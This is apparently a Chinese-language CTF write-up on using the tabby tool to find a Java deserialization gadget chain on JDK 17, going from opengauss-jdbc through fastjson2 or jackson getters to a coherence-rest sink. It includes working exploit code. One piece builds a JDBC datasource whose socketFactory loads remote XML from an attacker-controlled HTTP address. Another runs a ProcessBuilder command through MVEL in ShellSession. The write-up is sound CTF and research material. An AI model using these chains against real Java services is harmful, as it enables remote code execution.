banner
A.R.

A.R.

CTFer@Dubhe
github

記一次tabby利用鏈挖掘

環境#

依賴如下,原生反序列化入口,jdk 版本 17,不出網

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.opengauss</groupId>
            <artifactId>opengauss-jdbc</artifactId>
            <version>2.0.1-compatibility</version>
        </dependency>
        <dependency>
            <groupId>com.oracle.coherence.ce</groupId>
            <artifactId>coherence-rest</artifactId>
            <version>14.1.1-0-3</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba.fastjson2</groupId>
            <artifactId>fastjson2</artifactId>
            <version>2.0.37</version>
        </dependency>
    </dependencies>

jdbc 利用#

可以觀察到本題依賴存在 opengauss-jdbc,雖然沒見過,但是可以從代碼和文檔中看到,是用 postgre jdbc 改的,那麼經典的方法就是利用 socketFactory 來觸發 String 參數構造方法

常見的出網利用方法是 ClassPathXmlApplicationContext

    public static void main(String[] args) throws Exception
    {
        String className = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String myargs = "http://192.168.13.1:8000/exp.xml";
        Object dataSource = getDataSource(className, myargs);
    }
    public static Object getDataSource(String className, String myargs) throws Exception
    {
        Properties properties = new Properties();
        properties.setProperty("socketFactory", className);
        properties.setProperty("socketFactoryArg", myargs);

        PGSimpleDataSource dataSource = new PGSimpleDataSource();
        setFieldValue(dataSource, "properties", properties);
        dataSource.setUser("test");
        dataSource.setPassword("test");
        dataSource.setServerName("localhost");
        dataSource.setPortNumber(5432);
        dataSource.setDatabaseName("test");
        return dataSource;
    }

那麼利用鏈中間的部分可以暫定為 jdbc,接下來需要觸發 getter,以及尋找 sink。

觸發 toString#

jdk17 下可以用 EventListenerList 或者 Xstring,或許依賴中還存在別的利用鏈。

toString2getter#

初步看來,可利用的類有

com.fasterxml.jackson.databind.node.BaseJsonNode
com.alibaba.fastjson2.JSONArray
com.huawei.shade.com.alibaba.fastjson.JSONArray

jackson

springboot 依賴自帶,隨便用

fastjson

對於 fastjson 來講,2.0.xx 的版本是可以的,可以參考 com.alibaba.fastjson2.writer.ObjectWriterCreatorASM#createObjectWriter

而 com.huawei.shade 的 JSONArray 會被 autotype 限制

最終 sink#

最後需要一個構造方法的 sink 點,這裡可以用 coherence-rest 這個依賴中入手,這是 weblogic 的經典依賴,存在很多反序列化 gadget,我們需要只是一個 sink 點,並且不用繼承 serializable

cypher 查詢語句如下

match (source:Method)
  where (source.CLASSNAME starts with "com.tangosol." or source.CLASSNAME starts with "com.oracle.")
    and source.NAME = "<init>"
    and source.HAS_PARAMETERS = true
    and source.PARAMETER_SIZE = 1
    and source.SUB_SIGNATURE contains "<init>(java.lang.String)"
match (sink:Method{IS_SINK:true})
call tabby.algo.findPath(source, "-", sink, 8, false) yield path
return path limit 20

ShellSession

其中一條鏈的入口是 com.tangosol.coherence.mvel2.sh.ShellSession#ShellSession (java.lang.String)

執行可以執行 mvel

ShellSession shellSession = new ShellSession("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()");
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。